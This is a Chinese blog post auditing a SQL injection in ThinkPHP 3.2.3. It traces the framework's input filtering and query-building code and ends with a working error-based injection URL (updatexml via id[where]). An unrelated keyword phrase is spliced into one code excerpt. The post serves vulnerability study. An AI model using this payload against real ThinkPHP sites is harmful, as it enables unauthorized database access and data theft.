代码审计-thinkphp3.2.3框架漏洞sql注⼊开始复现审计⼀下tp3和tp5的框架漏洞,当个练习吧。
涉及注⼊的⽅法为where() table() delete()等。
环境 tp3.2.3 :
0x01 注⼊成因
测试代码:
public function index2(){
//        $data = M('user')-> where('username = "admin"')->select();
//        dump($data);
$id = i('id');
$res = M('user')->find($id);
I⽅法断点 跟进去看。
F7跟进, thinkphp/ThinkPHP/Common/functions.php :
从283⾏开始看 ⾸先判断提交⽅式:
......
switch(strtolower($method)) {
case 'get'    :
$input =& $_GET;
break;
case 'post'    :
$input =& $_POST;
break;
case 'put'    :
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input    =    $_PUT;
break;
case 'param'  :
switch($_SERVER['REQUEST_METHOD']) {
case 'POST':
$input  =  $_POST;
break;
case 'PUT':
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input    =    $_PUT;
break;
default:
$input  =  $_GET;
}
break;
case 'path'    :
$input  =  array();
if(!empty($_SERVER['PATH_INFO'])){
$depr  =  C('URL_PATHINFO_DEPR');
$input  =  explode($depr,trim($_SERVER['PATH_INFO'],$depr));                        }
break;
case 'request' :
$input =& $_REQUEST;
break;
case 'session' :
$input =& $_SESSION;
break;
case 'cookie'  :
$input =& $_COOKIE;
break;
case 'server'  :
$input =& $_SERVER;
break;
case 'globals' :
$input =& $GLOBALS;
break;
case 'data'    :
$input =& $datas;
break;
default:
return null;
}
重点看过滤的地⽅
think_filter:
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEE
N|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' ';
}
}
这⾥基本就是成因了 ⿊名单过滤 但是有漏⽹之鱼 常见的updataxml()报错函数都没过滤。
跟到后⾯在函数 parseSet可以看到我们提交的字符串作为占位符:
protected function parseSet($data) {
foreach ($data as$key=>$val){
if(is_array($val) && 'exp' == $val[0]){
$set[]  =  $this->parseKey($key).'='.$val[1];
}elseif(is_null($val)){
$set[]  =  $this->parseKey($key).'=NULL';
}elseif(is_scalar($val)) {// 过滤⾮标量数据
if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
$set[]  =  $this->parseKey($key).'='.$this->escapeString($val);
}else{
$name  =  count($this->bind);
$set[]  =  $this->parseKey($key).'=:'.$name;
$this->bindParam($name,$val);
}
}
}
return ' SET '.implode(',',$set);
}
_parseOptions⽅法:
if (is_array($options)) { //当$options为数组的时候与$this->options数组进⾏整合
$options = array_merge($this->options, $options);
}
if (!isset($options['table'])) {//判断是否设置了table 没设置进这⾥
// ⾃动获取表名
$options['table'] = $this->getTableName();
$fields          = $this->fields;
} else {
// 指定数据表则重新获取字段列表但不⽀持类型检测
$fields = $this->getDbFields(); //设置了进这⾥
}
// 数据表别名
ueditor漏洞php如何解决if (!empty($options['alias'])) {//判断是否设置了数据表别名
$options['table'] .= ' ' . $options['alias']; //注意这⾥,直接拼接了
}
// 记录操作的模型名称
$options['model'] = $this->name;
// 字段类型验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这⾥            // 对数组查询条件进⾏字段类型检查
......
}
// 查询过后清空sql表达式组装避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return$options;
当我们传⼊的值不为数组,直接进⾏解析返回带进查询,没有任何过滤。
同时$options['where']也⼀样,看到parseWhere函数
$whereStr = '';
if (is_string($where)) {
// 直接使⽤字符串条件
$whereStr = $where; //直接返回了,没有任何过滤
} else {
// 使⽤数组表达式
......
}
0x02 复现利⽤
www.qing-tp3/index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
跟到最后的时候还是有点⼩绕 delet那些⽅法产⽣注⼊⼤同⼩异 回来再写 上班~

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。